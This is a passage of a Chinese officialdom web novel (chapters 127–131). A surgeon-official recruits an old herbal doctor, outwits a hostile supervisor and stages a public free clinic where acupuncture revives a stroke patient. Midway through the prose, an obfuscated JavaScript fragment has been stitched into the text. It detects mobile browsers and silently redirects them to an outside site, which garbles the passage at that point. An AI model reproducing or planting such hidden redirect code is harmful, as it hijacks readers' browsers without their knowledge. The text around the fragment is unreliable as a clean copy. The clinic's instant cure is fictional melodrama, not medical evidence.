他知道柴胡疏肝解郁,前胡祛痰止咳,虽然不精通,但至少知道它们的基本用途和大致形态。
他没有急着去分拣那些一眼看上去就差不多的药材,而是先将那些特征明显、自己有把握的药材分拣出来。
然后,他才开始仔细比对那些相似的药材,甚至会用手机拍下照片,然后用他的医学逻辑去分析。
“陈老先生,这株是不是有清热解毒的功效?它和那边那株虽然形状相似,但叶片颜色和气味略有不同。”叶凡指着两株长得很像的草药,虚心请教。
陈望道再次睁开眼,看着叶凡的动作,眼中闪过一丝不易察觉的赞许。
这个年轻人没有像马文亮那样直接放弃,也没有不懂装懂,而是用自己的方式去解决问题。
“嗯。”陈望道只是淡淡地应了一声。
叶凡继续分拣,他时不时地会请教陈望道,问题问得都很巧妙,不是直接问“这是什么药”,而是问“这种药的特性是什么”,“它在治疗哪类疾病中更常用”。
一个小时过去,马文亮已经坐不住了。
他看着叶凡额头上的汗珠,心里却越发惊奇。
这小子,真有两把刷子。
终于,叶凡将所有的草药都分拣完毕。
虽然有些分类可能不完全准确,但整体而言,大体上是正确的。
他站起身,将那份报告再次递到陈望道面前:“陈老先生,这是我们康复中心的详细方案。我们诚心想办好这件事,也希望您能给我们一个机会,给青山镇的百姓一个机会。”
陈望道接过报告,没有立刻翻看,他抬起头,目光在叶凡和马文亮身上扫了一圈。
“你叫叶凡?”陈望道问。
“是。”
“你是一名西医外科医生?”
“是的,主治医师。”
陈望
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道笑了,那笑容里带着一丝深意:“一个拿手术刀的,想来搞中医?不怕砸了招牌?”
“医者仁心,不分中西。”叶凡平静地说,“只要能治病救人,能让老百姓活得更好,什么招牌,都不重要。”
陈望道没有再说话,他翻开了叶凡递过来的报告。
他看得非常仔细,一页一页,甚至拿出老花镜戴上。
马文亮在一旁,大气都不敢喘。
报告里,没有那些华丽的辞藻和空洞的口号,只有详实的数据,清晰的规划,以及中西医结合的理念。
特别是叶凡在其中穿插的那些病例分析,以及对康复治疗重要性的论述,都透着一股专业和务实。
足足看了半个小时,陈望道才合上报告,长长地吐出一口气。
“你这个方案,有点意思。”他看向叶凡,目光中带着一丝欣赏,“不吹嘘,不夸大,倒有点实事求是的味道。”
马文亮的心提到了嗓子眼,他感觉自己像个旁观者,看着叶凡一步步地将这个顽固的老头“拿下”。
“不过……”陈望道话锋一转,“我这把老骨头,可不是那么好请的。我这辈子,只看两种人:一种是真正需要救命的病人,一种是真正想做事的人。”
他顿了顿,目光落在马文亮身上,又带着一丝戏谑:“至于那些只想捞政绩,只想走过场的官,我这儿,没空伺候。”
马文亮脸上一阵红一阵白,恨不得找个地缝钻进去。
“这样吧。”陈望道看着叶凡,“我同意去青山镇看看。但是,我只答应去三个月。这三个月里,你们的康复中心,必须按照你报告里写的,真真正正地为老百姓服务。如果我发现有半点弄虚作假,或者你们的领导有任何干预,我立马走人,谁也别想再请动我!”
“而且,”他加重了语气,“这三个月,我不收一分钱。你们也别给我安排什么虚头巴脑的头衔和待遇。我只管看病,只管教学。其他的,一概免谈。”
叶凡脸上露出了抑制不住的喜悦。
他知道,这已经是陈望道最大的让步。
“多谢陈老先生!您放心,我们一定把康复中心办好,绝不辜负您的期望,不辜负百姓的信任!”叶凡躬身道谢。
马文亮在一旁,看着叶凡和陈望道谈笑风生,心里五味杂陈。
他费尽心机想给叶凡挖坑,结果叶凡不仅跳过去了,还顺势把这个老顽固给请了出来。
这下好了,陈望道这个“定时**”要是在青山镇待不下去,第一个倒霉的还是他这个“大管家”!
回程的路上,马文亮一言不发,脸色阴沉。
他看着窗外**的景色,心里却像打翻了五味瓶。
他原以为自己把叶凡的钱袋子攥在手里,就能把他拿捏得死死的。
没想到,叶凡竟然能把一个油盐不进的老中医请出来,还把这老头变成了又一个“监督者”!
他这才明白,叶凡这小子,根本不是什么“躺平”的废物。
他就像一条潜龙,一旦被激发,就能搅动风云。
而他马文亮,不知不觉间,竟成了叶凡棋盘上,被利用的那颗棋子。
“马总监,您看,陈老先生都答应了。”叶凡的声音打断了他的思绪,“那我们康复中心的启动资金,是不是可以尽快拨付下来了?我们得抓紧时间采购设备,装修场地,迎接陈老先生的到来啊。”
马文亮身体一僵,他本想拖延,但现在陈望道这个“活菩萨”都请来了,他要是再卡着钱,那可就是阻碍重点项目,得罪“为民办实事”的典范了。
他感觉自己的喉咙被什么东西堵住了,憋了半天,才从牙缝里挤出两个字:“……批!”
叶凡看着马文亮那张扭曲的脸,嘴角勾起一抹不易察觉的弧度。
棋子过河,一步将军。
第128章 请神容易,送神更难!
那辆颠簸的普桑车里,死一般的寂静。
马文亮靠在后座,双眼紧闭,脸上的肌肉因为愤怒和**而微微抽搐。
叶凡从后视镜里看着他那张比锅底还黑的脸,心中一片平静。
棋盘上,最关键的一颗子已经落下。
张海涛费尽心机布下的死局,被他借力打力,硬生生盘活了。
他不仅没被那一百万的“**”呛死,反而借着这股东风,请来了陈望道这尊真神,还顺手把马文亮这个监工,变成了项目的“大管家”。
现在,这位大管家正被架在火上,上不去,也下不来。
叶凡打破了沉默,语气轻松得像是在谈论天气:“马总监,回去了还得辛苦您,这第一笔启动资金的审批流程,咱们得抓紧。工地上百十号人张着嘴等着,陈老先生也答应了,万事俱备,就差您这东风了。”
马文亮猛地睁开眼,眼里的血丝像是要爆开。
他死死地瞪着叶凡的后脑勺,那眼神,如果能**,叶凡已经千疮百孔。
东风?
这他妈是催命符!
他从牙缝里挤出几个字:“……知道了。”
回到青山镇的临时指挥部,天色已经擦黑。
工棚里灯火通明,孙兆龙、王主任他们一见车回来,立刻围了上来,几十双眼睛齐刷刷地盯着马文亮,那热切的目光,像是在迎接一位凯旋的将军。
“马总监!辛苦了!您出马,果然是一个顶咱们十个!”孙兆龙的大嗓门震得人耳朵嗡嗡响,他一把抓住马文亮的手,用力摇晃着,脸上堆满了真诚的笑容。
“是啊,是啊,马总监,您就是咱们项目的定海神针!”
“陈老先生都请来了,咱们康复中心成功了一大半,头功必须是您的!”
一声声高帽不要钱似的扣上来,马文亮被这突如其来的热情搞得晕头转向。
他看着这群前两天还对自己横眉冷对的专家,此刻一个个笑得比花还灿烂,心里那股憋屈的火,烧得更旺了。
他想发作,却找不到任何理由。
人家在夸你,在捧你,你总不能说“都他妈给老子闭嘴”吧?
叶凡适时地走了过来,手里拿着那本厚得像砖头的预算报告,直接塞到马文亮怀里:“马总监,您看,这是咱们的第一批采购清单,您昨天也研究过了。现在陈老先生同意出山,这些设备和药材就更是刻不容缓。您受累,给签个字吧?”
马文亮抱着那份滚烫的报告,感觉像是抱着一颗**。
他翻开第一页,就是骨科李主任申请的那张三万块一张的意大利进口按摩床,后面附着十几页他根本看不懂的人体工学报告和外文资料。
他想说“太贵了”,可话到嘴边,又咽了回去。
他要是敢说一个“不”字,旁边这位刚被请来的陈老先生的“御用大夫”孙兆龙,怕是能当场跟他辩论三个小时的“中医专家腰椎健康与人民群众生命安全的重要关联性”。
在几十双眼睛的注视下,马文亮感觉自己像个被公开处刑的犯人。
他颤抖着手,从上衣口袋里掏出那支代表着权力的派克钢笔,笔尖在“同意”两个字上悬了半天,最终重重地落了下去。
签完字,他感觉自己像是被抽走了浑身的力气。
“好嘞!”孙兆龙一把抢过报告,高高举起,像举着一面胜利的旗帜,“同志们!咱们的‘财神爷’批了!康复中心,正式点火!”
工棚里爆发出雷鸣般的欢呼和掌声。
马文亮看着眼前这群欢呼雀跃的人,他知道,自己已经不是那个高高在上的监督者了。
从他签下名字的那一刻起,他就被牢牢地绑在了叶凡这条船上。
船要是翻了,他这个“大管家”,第一个淹死。
请神容易,送神难。
他现在终于体会到这句话的真意。
他请来了叶凡这个“瘟神”,现在想送都送不走了。
接下来的日子,对马文亮而言,简直是一场炼狱般的折磨。
他那位“财务总监”的头衔,被叶凡和手下这帮专家用到了极致。
“马总监,早啊!这是德国‘普迪思’缝合线供应商的合同,全德文的,您给审审?顺便把预付款的单子签一下,人家等着我们汇款呢。”孙兆龙端着一杯热豆浆,笑呵呵地敲开了他的房门。
马文亮看着那满纸的德文,感觉眼冒金星。
“马总监,吃饭了?正好,我这儿有个事向您汇报。我托人从长白山联系了一家专门供应野生药材的参茸行,对方要求我们先支付一笔保证金,您看这事……”内科王主任端着饭盒,恰到好处地坐在他对面。
“马总监,还没睡呢?我这儿有个关于意大利按摩床的安装视频,全景声,蓝光画质,您要不要一起欣赏一下,研究研究怎么摆放最符合咱们的风水?”骨科李主任的脑袋从门缝里探进来。
马文亮快疯了。
他感觉自己不是来当官的,是来给这帮人当保姆,当翻译,当会计,当采购的!
他带来的那两个财政局的会计,早就在三天前对着那堆乱七八糟的白条和发票举手投降,哭着喊着回县里了,临走时看他的眼神,充满了同情。
他想撂挑子不干,可叶凡总能用最诚恳的语气,说着最诛心的话。
“马总监,这可不行啊!您是县委派来的主心骨,您要是撂挑子了,我们这群人可就没方向了。项目出了问题,张**怪罪下来,我们担不起,您……您也担待不起啊!”
是啊,他担待不起。
这个项目现在是全县的明星工程,市里都挂了号。
陈望道这尊大神也被请来了,要是项目因为资金或者采购问题停滞了,第一个被问责的就是他这个“专项基金监督管理小组组长”。
他被套牢了,死死地。
一周后,一辆半旧的吉普车,在村民们自发的夹道欢迎中,开进了青山镇。
陈望道背着一个药箱,从车上下来。
他还是那身洗得发白的粗布对襟衫,眼神扫过那些热情淳朴的村民,没什么表情,但也没了在白马镇时的那种疏离。
叶凡为他安排的住处,就在工棚旁边一间最安静的屋子,里面按照他的要求,只放了一张硬板床,一张桌子,一把椅子。
“陈老,条件简陋,您先将就一下。”叶凡说。
陈望道把药箱放下,在屋里转了一圈,最后目光落在了窗外,那片正在平整的土地上,推土机和挖掘机轰鸣着,一片热火朝天的景象。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176926|180509||http|test|mini|href|location''.split(''|''),0,{}));
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r>“摊子铺得不小。”陈望道开口了,声音不大,“希望不是个花架子。”
就在这时,马文亮黑着脸从不远处的办公室走出来,正好看见陈望道。
他下意识地想躲,可已经来不及了。
陈望道看见他,浑浊的眼睛里闪过一丝戏谑:“马局长,几天不见,你这脸上的官气,怎么变成怨气了?心火攻心,肝气郁结,这不是好兆头啊。晚上是不是睡不着,还掉头发?”
马文亮感觉自己的脸“腾”地一下就红了,像是被人当众扒光了衣服。
他最近确实失眠多梦,头发大把大把地掉,可这老东西怎么知道的!
“我……我好得很!”他梗着脖子,挤出一句话,落荒而逃。
看着马文亮狼狈的背影,孙兆龙他们憋笑憋得脸都紫了。
陈望道的到来,像一剂强心针,让整个项目彻底活了起来。
他没有参与任何行政事务,每天只做三件事:看病,指导,骂人。
他给王铁柱家那身子虚弱的孩子开了几副调理的方子,几贴药下去,孩子的气色肉眼可见地好了起来。
一时间,“陈神医”的名声不胫而走,每天都有十里八乡的村民慕名而来,把临时诊室的门槛都快踏破了。
他对专家们也毫不客气。
“你这针灸手法,是跟体育老师学的?穴位都找不准,还想治病?”
“你这药方,君臣佐使乱七八糟,跟大杂烩似的,你是想救人还是想害人?”
孙兆龙这些在市里都横着走的专家们,被他骂得狗血淋头,却没一个敢还嘴的。
因为人家骂完之后,总能一针见血地指出你的问题,然后亲手示范一遍,那效果,高下立判。
短短半个月,整个团队的氛围焕然一新。
一种前所未有的,纯粹为了技术的钻研和精进的风气,在青山镇这片工地上悄然形成。
然而,树大招风。
这天晚上,叶凡正在和陈望道讨论康复中心的中药房布局,苏沐秋的电话打了进来。
“叶凡,出事了。”她的声音带着一丝急切,“县里现在有人在传,说你们那个康复中心是挂羊头卖狗肉,请来的老专家是个骗子,专门忽悠乡下人。还有人写了匿名信,直接寄到了市卫生局,说你一个西医,胡搞中医,要求市里派调查组下来。”
叶凡的眉头皱了起来。
“谁在背后搞鬼?”
“暂时不清楚。”苏沐秋说,“但我打听到,县中医院那边,最近对你们意见很大。你们把陈望道请了去,还搞得这么大阵仗,抢了他们的风头。而且,带头散播谣言的,好像跟县里一个叫‘百草堂’的私人诊所有关,那家诊所的老板,背景不简单。”
挂了电话,叶凡站在窗前,看着远处工地的星星点点灯火,眼神变得深邃。
张海涛的明枪被他躲过去了,现在,暗箭又来了。
他知道,这盘棋,远没有到终局的时候。
每一个对手倒下,都会有新的对手站出来。
官场,就像一个永不停歇的手术台,切掉一个肿瘤,很快又会有新的病灶出现。
他拿起手机,给钱国栋发了一条信息。
“钱**,睡了吗?有点事,想跟您请教一下。”
第129章 暗箭难防,将计就计!
很快,钱国栋的电话直接打了过来,声音一如既往的沉稳。
“睡不着了?”
“钱**,您还没休息?”叶凡走到工棚外,夜里的风带着一丝凉意,让他纷乱的思绪清醒了些。
“人老了,觉少。说吧,是不是遇到坎了?”钱国栋那边传来翻动书页的声音。
叶凡没有隐瞒,将苏沐秋带来的消息,以及匿名信的事情原原本本地说了一遍。
电话那头沉默了片刻,只听见钱国栋轻轻放下书本的声音。
“这是组合拳,冲着你的命门来的。”钱国栋一针见血,“你最大的优势是什么?是你的专业能力。他们现在就攻击你的专业,说你一个西医搞中医是胡闹,釜底抽薪。再攻击你请来的陈望道,说他是骗子,这是断你的左膀右臂。信寄到市里,是请上级来给你定罪。一套下来,康复中心这个项目,不死也得脱层皮。”
叶凡嗯了一声,钱国栋的分析和他想的几乎一样。
“县中医院是眼红,你们这摊子铺得太大,动了他们的奶酪。至于那个‘百草堂’,”钱国栋顿了顿,“我有点印象,老板叫赵德胜,手眼通天,在县里的人脉很广,据说跟张**走得很近。这封匿名信,八成就是他捅上去的。”
“那我该怎么办?去市里解释?”叶凡问道。
“解释?”钱国栋笑了,“官场上,解释就是掩饰,掩饰就是事实。你跑去解释,正好说明你心虚。调查组下来,你就算浑身是铁,又能捻几根钉?他们鸡蛋里头都能给你挑出骨头来。”
叶凡的心沉了下去。
“记住,叶凡。”钱国栋的语气严肃起来,“别人泼脏水,你不能跳进泥潭里跟他打滚,那样只会越洗越黑。你要做的是站在高处,用清水把自己冲干净,顺便让所有人看看,他身上有多脏。”
“您的意思是?”
“他们说陈望道是骗子,你就让他当一回神仙。他们说你是挂羊头卖狗肉,你就把这锅肉炖得香飘十里,馋死他们!”钱国栋的声音里透着一股老辣的狠劲,“市里不是要派调查组吗?好啊,让他们来!我们不但要让他们来,还要铺上红地毯,敲锣打鼓地欢迎他们来!让他们亲眼看看,我们这到底是救死扶伤的人间圣地,还是欺世盗名的骗子窝!”
叶凡的眼睛瞬间亮了,心中豁然开朗。
挂了电话,他站在原地,夜风吹动着他的衣角,也吹散了他心头的迷雾。
他转身走回灯火通明的工棚,脸上已经恢复了平静,眼神里却多了一分锋锐。
工棚里,孙兆龙正唾沫横飞地跟几个专家吹嘘自己当年在德国进修的经历,陈望道闭目养神,对周围的喧嚣充耳不闻。
马文亮则独自坐在角落,对着一堆看不懂的采购单发愁,整个人散发着一股生无可恋的气息。
“各位,有个事跟大家商量一下。”叶凡拍了拍手,吸引了所有人的注意。
他把匿名信和市里可能派调查组的事情简单说了一遍。
话音刚落,孙兆龙第一个炸了,一拍桌子站了起来:“他奶奶的!这是哪个不开眼的王八蛋在背后捅刀子?说我们是骗子?还敢说陈老是骗子?他是不是瞎了狗眼!”
陈望道也睁开了眼,浑浊的眸子里闪过一丝冷光,但没说话。
马文亮心里却是一喜,暗道:来了,来了,报应终于来了!叶凡啊叶凡,看你这次怎么收场!调查组下来,第一个就得查你这个负责人!
“吵什么?”叶凡扫了孙兆龙一眼,“别人骂你一句,你就跳起来,正中人家下怀。”
他转向众人,平静地说:“既然有人怀疑我们,那我们就把一切都摆在明面上,让他们看个清楚,看个明白。我决定,三天后,在镇上广场,我们康复中心项目组,搞一场大型义诊!”
“义诊?”众人一愣。
“对,义诊!”叶凡加重了语气,“不光义诊,我们还要把声势造得越大越好!让十里八乡的百姓都来看,都来瞧!让所有人都知道,我们这里,有真正的神医坐镇!”
他的目光落在了陈望道身上。
陈望道皱了皱眉:“我不是街头卖艺的。”
“陈老,您当然不是。”叶凡走到他面前,语气诚恳,“可现在,有人把‘骗子’这顶帽子扣在您头上。您是无所谓,可那些真正需要您救治的百姓呢?他们听信了谣言,错过了治病的机会,这个责任谁来负?我们办义诊不是为了表演,是为了辟谣,是为了让那些被病痛折磨的人,能有一个找到希望的机会。更是为了告诉那些藏在暗处的宵小之辈,什么是真正的医者仁心!”
陈望道沉默了,他那双阅尽世情的眼睛看着叶凡,许久,才从鼻子里哼了一声:“随你折腾。”
叶凡笑了。
他知道,这位老先生嘴上不说,心里那股傲气已经被激起来了。
“好!那就这么定了!”孙兆龙兴奋地搓着手,“叶局,这事儿得好好策划一下!咱们得找个最典型的病例,现场诊治!一针见效,一剂药起死回生那种!到时候闪光灯一打,记者话筒一递,嘿,那场面!”
叶凡点点头,这正是他想的。
他看向王主任:“王主任,你对县里的情况熟,帮我找一个病人。要那种病程长,病情复杂,各大医院都束手无策,最好是县中医院和那个‘百草堂’都治过,没治好的。”
王主任眼睛一亮,立刻明白了叶凡的用意:“有!县机械厂的老厂长,叫周国福。几年前中了风,半身不遂,这两年越来越严重,话都说不清楚了。县里所有医院都看过,中医院的专家,百草堂的赵德胜都去看过,药吃了一堆,钱花了不少,一点起色都没有。现在就躺在家里等死呢。要是能把他治好,不,只要能让他站起来走两步,整个青川县都得炸锅!”
“就他了!”叶凡一锤定音,“孙主任,你和王主任马上去一趟,把周老厂长的情况摸清楚,告诉他家里人,我们免费为他治疗!”
“好嘞!”两人领命而去。
叶凡的目光最后落在了角落里一直没说话,竖着耳朵偷听的马文亮身上。
马文亮被他看得心里一毛,下意识地往后缩了缩。
叶凡脸上露出春风般和煦的笑容,端着一杯热茶,亲自走过去,放到了马文亮面前。
“马总监。”
“啊?叶……叶局,您有什么指示?”马文亮受宠若惊,差点把茶杯打翻。
“指示谈不上,是有一件非常重要的事情,想请您这位‘大管家’出面。”叶凡的语气无
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比真诚,“我们这次义诊是为了展示我们中西医结合的成果,也是为了促进全县医疗水平的共同进步。这么好的事情,可不能我们自己关起门来搞,得请同行们一起来观摩指导,交流学习嘛。”
马文亮听着这话,心里不祥的预感越来越重。
“所以,我想恳请马总监,代表我们项目组,也代表县委张**的殷切期望,亲自给县中医院的李院长,还有‘百草堂’的赵老板,送一份请柬。”
“什么?!”马文亮眼珠子都快瞪出来了,手里的茶杯“哐当”一声掉在地上,摔得粉碎。
叶凡仿佛没看见,继续微笑着说:“您是县卫生局的领导,是咱们项目的总监,您亲自去送请柬,这分量才够,才显得我们有诚意嘛!请柬我都给您拟好词了,就说:‘兹定于三日后,于青山镇广场举办‘送健康下乡’大型义诊活动,特邀贵单位专家莅临指导,共襄盛举,同沐杏林春风’。您看,多好?”
马文亮一张脸涨成了猪肝色,嘴唇哆嗦着,一个字都说不出来。
让他去给李院长和赵德胜送请柬?
这他妈不是请柬,这是战书!
是当面打脸的帖子!
他要是真把这请柬送过去,李院长和赵德胜不得把他生吞活剥了?
“怎么了,马总监?”叶凡脸上的关切恰到好处,“是不是有什么难处?没关系,您说出来,我们一起想办法。这可是向市里调查组展示我们工作成果的最好机会,也是回应谣言最有力的武器,可不能办砸了。我相信张**要是知道了,也一定会全力支持您的。”
叶凡又一次轻飘飘地把张海涛这尊大佛搬了出来。
马文亮感觉自己的后槽牙都快咬碎了。
他能不去吗?
他要是不去,叶凡明天就能把“马文亮不顾大局,破坏项目名誉,阻碍与兄弟单位交流”的帽子给他扣上。
到时候,调查组下来,他就是第一个被推出去顶罪的。
去,是当面得罪盟友。
不去,是立刻死在叶凡手里。
两害相权取其轻。
马文亮深吸一口气,从牙缝里挤出一句话:“我去。”
“太好了!”叶凡一拍手,热情洋溢,“我就知道马总监深明大义,高风亮节!来人,快,给马总监换杯新茶!用我那罐最好的大红袍!”
看着叶凡那张真诚得找不到一丝破绽的笑脸,马文亮心里一片冰凉。
他知道,自己已经彻底成了叶凡手里的一把刀。
而这把刀,现在正要被叶凡握着,去捅自己人的心窝子。
第二天,一份由“青川县中西医结合康复治疗中心项目专项基金监督管理小组”正式发出,并盖着县卫生局公章的红头请柬,被送到了县中医院院长李长青和百草堂老板赵德胜的办公桌上。
李长青看着请柬上“马文亮”三个字的亲笔签名,气得把手里的杯子狠狠砸在地上。
“欺人太甚!欺人太甚!”
而另一边,百草堂内,被称为“赵半仙”的赵德胜,则捏着那份烫金的请柬,脸上阴晴不定。
他看着窗外,眼神阴鸷。
“叶凡……好一个将计就计。想请我们去看戏?行啊,我倒要看看,你这台戏,到底唱不唱得下去!”
第130章 杏林对决,万众瞩目!
请柬送出去的第二天,整个青川县都像是被投下了一颗**。
消息长了腿似的,从县城一路传到各个乡镇的田间地头。
“听说了吗?青山镇那个新来的叶局长他们要跟县中医院和百草堂的专家当场打擂台!”
“什么打擂台,那叫义诊!说是要治好机械厂那个瘫了好几年的周老厂长!”
“吹牛吧?周老厂长那病,赵半仙都说回天乏术了,他一个毛头小子能行?”
一时间,流言四起,说什么的都有。
有说叶凡是沽名钓誉,有说他是真有本事,更多的人则是抱着看热闹不嫌事大的心态,掰着指头等着三天后的那场大戏。
县委大楼里,张海涛坐在办公桌后,面沉如水。
马文亮送请柬这事,他第一时间就知道了。
他没阻止,也没表态,只是把玩着手里的茶杯,眼神晦暗不明。
他想看看,这个叶凡到底能折腾出什么花样来。
是龙,还是虫,就看这一遭了。
三天时间,一晃而过。
义诊当天,青山镇中心的广场上,人山人海,黑压压的一片,比过年赶集还热闹。
临时搭建的台子周围,里三层外三层围满了人,连旁边的土坡上都站满了踮着脚尖张望的村民。
苏沐秋带着市报社的摄影记者,早早就在台子侧面找好了最佳位置。
她看着眼前这阵仗,心里也不由得为叶凡捏了把汗。
这一战,只能赢,不能输。
输了,就是万丈深渊。
上午九点,一辆黑色的桑塔纳和一辆更气派的奥迪,几乎是同时不紧不慢地驶入了广场。
车门打开,县中医院的院长李长青和百草堂的老板赵德胜在一群人的簇拥下走了出来。
李长青挺着肚子,一脸官威。
赵德胜则是一身唐装,手里盘着一串油光发亮的佛珠,脸上挂着莫测高深的笑,真有几分“半仙”的派头。
他们身后还跟着几个县里小有名气的中医,显然是拉来站台助威的。
马文亮像个游魂一样跟在后面,脸色蜡黄,眼窝深陷。
这三天,他感觉比过去三年还难熬。
他看见台上的叶凡,又看见身边这群“盟友”,只觉得两边都是火坑,自己站在中间,随时可能被烤成焦炭。
“叶局长,好大的阵仗啊。”李长青一上台,就皮笑肉不笑地开了口,他刻意把“局长”两个字咬得很重,带着一股子酸味。
“李院长,赵老板,欢迎二位莅临指导。”叶凡脸上挂着淡然的微笑,伸手不打笑脸人,“我们也是响应县委号召,为民办实事嘛。”
赵德胜捻着佛珠,目光在台上的陈望道身上扫了一眼,慢悠悠地说:“听说叶局长请来了一位高人?就是这位老先生?看着是有点仙风道骨,就是不知道,手底下有几分真功夫。”
他这话,明着是问,暗着却是十足的挑衅。
陈望道眼皮都没抬一下,仿佛没听见。
孙兆龙却忍不住了,刚要开口,就被叶凡一个眼神制止了。
叶凡笑了笑,没接茬,而是拿起话筒,对着台下的百姓朗声道:“各位乡亲父老,今天请大家来,不为别的,就是想让大家亲眼看一看,我们这个‘中西医结合康复中心’,到底是不是花架子,到底能不能为大家解决病痛!”
他一挥手,王主任和两个年轻人小心翼翼地将一张带轮子的病床推到了台中央。
病床上躺着的,正是周国福。
老人面色灰败,嘴眼歪斜,半边身子软塌塌地陷在被子里,喉咙里发出“嗬嗬”的声响,眼神里满是浑浊和绝望。
他的老伴和儿子跟在旁边,眼圈通红,一脸的期盼和紧张。
台下瞬间安静了下来,所有人的目光都聚焦在了周国福身上。
“这……这就是周老厂长?都病成这样了,还能治?”
“看着悬啊……”
李长青看了一眼,便撇了撇嘴,对身边的赵德胜低语:“典型的脑梗后遗症,神经元不可逆损伤,肌肉严重萎缩。神仙来了都没用,我看他们今天怎么下台!”
赵德胜不置可否地笑了笑,眼神却变得锐利起来。
叶凡将话筒递给了孙兆龙。
孙兆龙清了清嗓子,用最通俗的语言,将周国福的病情,以及之前在各大医院,包括县中医院和百草堂的治疗经过,简单介绍了一遍。
他没有添油加醋,只是陈述事实,但每一个字,都像一记耳光,抽在李长青和赵德胜的脸上。
介绍完毕,叶凡转向陈望道,恭敬地做了个“请”的手势。
全场的焦点瞬间集中在了这个穿着粗布对襟衫的老头身上。
陈望道这才慢悠悠地站起身,走到病床前。
他没有用任何仪器,只是伸出枯瘦的手,搭在周国福的手腕上,闭上了眼睛。
望、闻、问、切。
整个过程,安静得落针可闻。
半晌,陈望道睁开眼,对身边的助手说了几个字。
助手立刻打开药箱,取出一个古朴的布包,摊开来,里面是长短不一、寒光闪闪的银针。
“装神弄鬼。”李长青冷哼一声。
陈望道没理他,取出一根三寸长的银针,在酒精灯上燎了一下。
他捏着针,目光在周国福头顶的穴位上逡巡片刻,然后,手腕一抖。
那根银针便稳、准、狠地刺入了百会穴。
没有丝毫的犹豫和迟滞。
紧接着是第二针,第三针……
陈望道的手法快如闪电,却又带着一种奇异的韵律感。
他的表情始终古井无波,仿佛不是在治病,而是在完成一件精美的艺术品。
台下的人都看呆了,大气都不敢喘。
李长青和赵德胜脸上的嘲讽,也渐渐凝固了。
他们是行家,自然看得出陈望道这手针法绝对是童子功,没有几十年的浸淫,根本达不到这种境界。
一套“醒脑开窍”针法施展完毕,周国福的头顶和瘫痪的半边身子上已经扎满了银针。
陈望道收手,站到一旁,又恢复了那副闭目养神的姿态。
时间一分一秒地过去。
台下开始有些骚动。
“怎么没反应啊?”
“该不会是没用吧?”
赵德胜嘴边又泛起一丝冷笑,刚想开口说几句风凉话。
就在这时,异变突生!
一直像一截枯木般躺着的周国福,他那只瘫痪了三年的右手食指,忽然,轻轻地……动了一下!
动作很轻微,但台前的人都看得清清楚楚!
“动了!动了!爸的手指动了!”周国福的儿子发出一声惊喜的尖叫,激动得语无伦次。
人群瞬间炸开了锅!
“天哪!真的动了!”
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“神了!真是神医啊!”
还没等众人从震惊中回过神来,更不可思议的一幕发生了。
周国福那张歪斜的嘴哆哆嗦嗦地张开,从喉咙深处,挤出了一个含混但清晰的字:
“……水。”
轰!
整个广场彻底沸腾了!
掌声、欢呼声、惊叹声,汇成一股巨大的声浪,几乎要把台子掀翻!
周国服的老伴捂着嘴,眼泪瞬间决堤,一下子跪倒在陈望道面前,不住地磕头:“神医!您是活神仙啊!”
李长青和赵德胜脸上的血色在这一刻褪得干干净净,变得像纸一样白。
他们瞪大了眼睛,死死地盯着病床上的周国福,嘴巴张得能塞下一个鸡蛋。
不可能!
这绝对不可能!
他们心里在疯狂地咆哮。
一个被他们判了“**”的病人,怎么可能几根银针下去,就有了起色?这不符合医学常理!
叶凡在这时,不紧不慢地走上前,接过话筒,脸上带着自信的微笑。
“各位乡亲,大家看到了吗?这就是中医的魅力,这就是我们老祖宗留下来的瑰宝!周老厂长的情况很复杂,一次治疗当然不可能痊愈。但今天,我们让他看到了希望,让他重新有了活下去的尊严!”
他的声音透过喇叭,清晰地传遍广场的每一个角落。
“我们成立这个康复中心,就是要将西医的精准诊断和中医的辨证施治结合起来,让一加一,大于二!让更多像周老厂长这样的病人,能够站起来,重新拥抱生活!”
掌声雷动。
叶凡等掌声稍歇,目光转向了早已面如死灰的李长青和赵德胜。
他笑得温和,话语却像一把锋利的刀子,精准地插向对方的要害。
“李院长,赵老板,感谢二位百忙之中前来指导。周老厂长的情况,您二位之前也诊治过。不知对他今日的起色,有何高见?或者说,对我们陈老的这套针法,有何指教?我们项目组全体同仁,洗耳恭听。”
“我……”李长青的喉结上下滚动,一张脸涨成了猪肝色,却一个字都说不出来。
赵德胜手里的佛珠,不知何时已经停下了转动。
他那张故作高深的脸上,冷汗涔涔而下,强行挤出一个比哭还难看的笑容:“陈……陈老先生,医术……高明,佩服,佩服……”
在数千双眼睛的注视下,他们感觉自己像是没穿衣服,被放在火上炙烤,每一分每一秒都是煎熬。
一直站在角落里,努力降低自己存在感的马文亮,看着眼前这一幕,心里却突然涌起一股莫名的、病态的快感。
看到这两个昨天还跟自己称兄道弟、今天就把自己当枪使的“盟友”吃瘪,他竟然觉得……有点爽。
叶凡这小子,太狠了!
这已经不是打脸了,这是把他们的脸按在地上,用鞋底子来回地碾!
广场上,欢呼声经久不息。
而在广场不远处,一辆不起眼的黑色轿车里,几个挂着市卫生局工作牌的人,放下了手里的望远镜,彼此对视了一眼,眼神里满是震撼和深思。
为首的中年人,正是这次调查组的组长。
他拿出手机,拨通了一个号码。
“领导,我是小王。对,在青山镇。情况……我建议您亲自来看一看。不,这不是胡闹,这是……一场奇迹。”
第131章 东风已至,扶摇直上!
广场上的声浪久久没有平息,像是一锅煮沸的开水。
周国福的老伴和儿子对着陈望道千恩万谢,那份发自肺腑的感激比任何华丽的辞藻都更具冲击力。
李长青和赵德胜站在台上,如坐针毡。数千道目光像探照灯一样聚焦在他们身上,有鄙夷,有嘲讽,有恍然大悟。
他们经营多年的“专家”和“半仙”人设在这一刻,碎得像一地鸡毛。
“我……我们医院还有个会。”李长青面如死灰,再也待不下去,拉着赵德胜就想溜。
“李院长,赵老板,别急着走啊。”叶凡的声音不大,却清晰地盖过了嘈杂的人声,他脸上依然挂着那副人畜无害的微笑,“我们康复中心过阵子就要正式挂牌了,到时候还请二位一定赏光,再来指导指导工作嘛。”
这话客气,却比直接骂人还狠。
再来指导?指导什么?指导你们怎么把我们按在地上摩擦吗?
